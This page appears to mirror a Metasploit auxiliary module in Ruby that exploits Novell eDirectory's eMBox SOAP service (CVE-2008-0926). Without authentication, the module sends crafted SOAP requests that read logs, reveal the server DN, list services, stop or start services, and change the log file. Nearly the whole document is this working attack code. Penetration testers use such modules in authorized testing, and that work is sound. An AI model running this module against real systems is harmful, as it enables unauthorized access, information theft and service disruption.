Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(update_info(info,11'Name' => 'Novell eDirectory eMBox Unauthenticated File Access',12'Description' => %q{13This module will access Novell eDirectory's eMBox service and can run the14following actions via the SOAP interface: GET_DN, READ_LOGS, LIST_SERVICES,15STOP_SERVICE, START_SERVICE, SET_LOGFILE.16},17'References' =>18[19[ 'CVE', '2008-0926' ],20[ 'BID', '28441' ],21[ 'OSVDB', '43690' ]22],23'Author' =>24[25'Nicob',26'MC', #Initial Metasploit module27'sinn3r'28],29'License' => MSF_LICENSE,30'Actions' =>31[32[33'GET_DN',34{35'Description' => 'Get DN',36'CMD' => 'novell.embox.connmgr.serverinfo',37'PATTERN' => /<ServerDN dt="Binary">(.*)<\/ServerDN>/,38'USE_PARAM' => false39}40],41[42'READ_LOGS',43{44'Description' => 'Read all the log files',45'CMD' => 'logger.readlog',46'PATTERN' => /<LogFileData>(.*)<\/LogFileData>/,47'USE_PARAM' => false48}49],50[51'LIST_SERVICES',52{53'Description' => 'List services',54'CMD' => 'novell.embox.service.getServiceList',55'PATTERN' => /<DSService:Message dt=\"Binary\">(.*)<\/DSService:Message>/,56'USE_PARAM' => false57}58],59[60'STOP_SERVICE',61{62'Description' => 'Stop a service',63'CMD' => 'novell.embox.service.stopService',64'PATTERN' => /<DSService:Message dt="Binary">(.*)<\/DSService:Message>/,65'PARAM' => '<Parameters><params xmlns:DSService="service.dtd">'+66'<DSService:moduleName>__PARAM__</DSService:moduleName>'+67'</params></Parameters>',68'USE_PARAM' => true69}70],71[72'START_SERVICE',73{74'Description' => 'Start a service',75'CMD' => 'novell.embox.service.startService',76'PATTERN' => /<DSService:Message dt="Binary">(.*)<\/DSService:Message>/,77'PARAM' => '<Parameters>' +78'<params xmlns:DSService="service.dtd">' +79'<DSService:moduleName>__PARAM__</DSService:moduleName>'+80'</params></Parameters>',81'USE_PARAM' => true82}83],84[85'SET_LOGFILE',86{87'Description' => 'Read Log File',88'CMD' => 'logger.setloginfo',89'PATTERN' => /<Logger:Message dt="Binary">(.*)<\/Logger:Message>/,90'PARAM' => '<Parameters><params><logFile>__PARAM__</logFile>'+91'<logOptionAppend/></params></Parameters>',92'USE_PARAM' => true93}94]95],96'DefaultAction' => 'LIST_SERVICES'97))9899register_options(100[101Opt::RPORT(8028),102OptString.new("PARAM", [false, 'Specify a parameter for the action'])103])104end105106def run107108if action.opts['USE_PARAM']109if datastore['PARAM'].nil? or datastore['PARAM'].empty?110print_error("You must supply a parameter for action: #{action.name}")111return112else113param = action.opts['PARAM'].gsub(/__PARAM__/, datastore['PARAM'])114end115else116param = '<Parameters><params/></Parameters>'117end118119template = %Q|<?xml version="1.0"?>120<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">121<SOAP-ENV:Header/>122<SOAP-ENV:Body>123<dispatch>124<Action>#{action.opts['CMD']}</Action>125<Object/>#{param}</dispatch>126</SOAP-ENV:Body>127</SOAP-ENV:Envelope>|128129template = template.gsub(/^ {4}/, '')130template = template.gsub(/\n/, '')131132connect133print_status("Sending command: #{action.name}...")134res = send_request_cgi({135'method' => 'POST',136'uri' => '/SOAP',137'data' => template + "\n\n",138'headers' =>139{140'Content-Type' => 'text/xml',141'SOAPAction' => "\"" + Rex::Text.rand_text_alpha_upper(rand(25) + 1) + "\"",142}143}, 25)144145if res.nil?146print_error("Did not get a response from server")147return148end149150raw_data = res.body.scan(/#{action.opts['PATTERN']}/).flatten[0]151print_line("\n" + Rex::Text.decode_base64(raw_data))152153disconnect154end155end156157158